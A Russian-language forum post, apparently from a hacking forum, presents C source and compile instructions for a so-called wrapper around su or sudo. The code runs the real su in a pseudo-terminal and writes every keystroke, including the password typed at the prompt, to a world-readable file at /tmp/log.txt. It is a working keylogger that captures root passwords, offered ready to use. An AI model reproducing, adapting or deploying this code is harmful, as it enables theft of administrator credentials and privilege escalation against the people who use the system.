реализация оболочки вокруг su или sudo.
вместо PROGRAMM подставляем полный путь до программы
Единственная проблема с форвадингом сигналов потомкам su из-за разных идентификаторов пользователей процессов.
компиляция gcc wrap.c -o wrap -lutil
PHP код:
/* su/sudo wrapper */
/* Writed by overxor */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <wait.h>
#include <errno.h>
#include <pty.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#define PATH_SU "/bin/su"
#define PATH_SUDO "/usr/bin/sudo"
#define LOG_FILE "/tmp/log.txt"
#define PROGRAMM PATH_SU
struct winsize msize;
struct termios mterm;
static int log, pty;
static pid_t pid;
static void
sighandler(int signo)
{
int save_errno = errno;
struct winsize winsz;
pid_t pgrp;
switch (signo) {
case SIGCHLD:
if (waitpid(pid, NULL, WNOHANG) == pid) {
tcsetattr(0, TCSANOW, &mterm);
if(log) close(log);
exit(getpid());
}
break;
case SIGWINCH:
if (ioctl(STDIN_FILENO, TIOCGWINSZ, &winsz) >= 0) {
if (ioctl(pty, TIOCSWINSZ, &winsz) >= 0 &&
ioctl(pty, TIOCGPGRP, &pgrp) >= 0)
killpg(pgrp, SIGWINCH);
}
break;
case SIGTERM:
case SIGQUIT:
case SIGINT:
if(ioctl(pty, TIOCGPGRP, &pgrp) >= 0)
killpg(pgrp, signo);
break;
}
errno = save_errno;
}
int main(int argc, char **argv)
{
int pipestderr[2];
pipe2(pipestderr, O_NONBLOCK);
tcgetattr(0, &mterm);
ioctl(0, TIOCGWINSZ, &msize);
pid = forkpty(&pty, NULL, &mterm, &msize);
if(pid == 0){
close(pipestderr[0]);
fcntl(pipestderr[1], F_DUPFD, 2);
char **pargv = argv;
*pargv = PROGRAMM;
execv(*pargv, pargv);
} else if (pid == -1) {
return -1;
} else {
char c;
fd_set desc_set;
struct termios termios;
struct sigaction sa;
sigfillset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;
sa.sa_handler = sighandler;
sigaction(SIGCHLD, &sa, NULL);
sigaction(SIGWINCH,&sa, NULL);
sigaction(SIGINT, &sa, NULL);
sigaction(SIGTERM, &sa, NULL);
sigaction(SIGQUIT, &sa, NULL);
signal(SIGHUP, SIG_IGN);
log = open(LOG_FILE, O_CREAT | O_WRONLY | O_APPEND, 0777);
close(pipestderr[1]);
while(1) {
tcgetattr(pty, &termios);
tcsetattr(STDIN_FILENO, TCSANOW, &termios);
FD_ZERO(&desc_set);
FD_SET(STDIN_FILENO, &desc_set);
FD_SET(pty, &desc_set);
FD_SET(pipestderr[0], &desc_set);
if(select(FD_SETSIZE, &desc_set, NULL, NULL, NULL) < 0){
continue;
}
if (FD_ISSET(STDIN_FILENO, &desc_set)) {
if(read(STDIN_FILENO, &c, 1) == 1) {
write(pty, &c, 1);
if(log) write(log, &c, 1);
}
}
if (FD_ISSET(pty, &desc_set)) {
if(read(pty, &c, 1) == 1) {
write(1, &c, 1);
}
}
if (FD_ISSET(pipestderr[0], &desc_set)) {
if(read(pipestderr[0], &c, 1) == 1)
write(2, &c, 1);
}
}
}
return 0;
}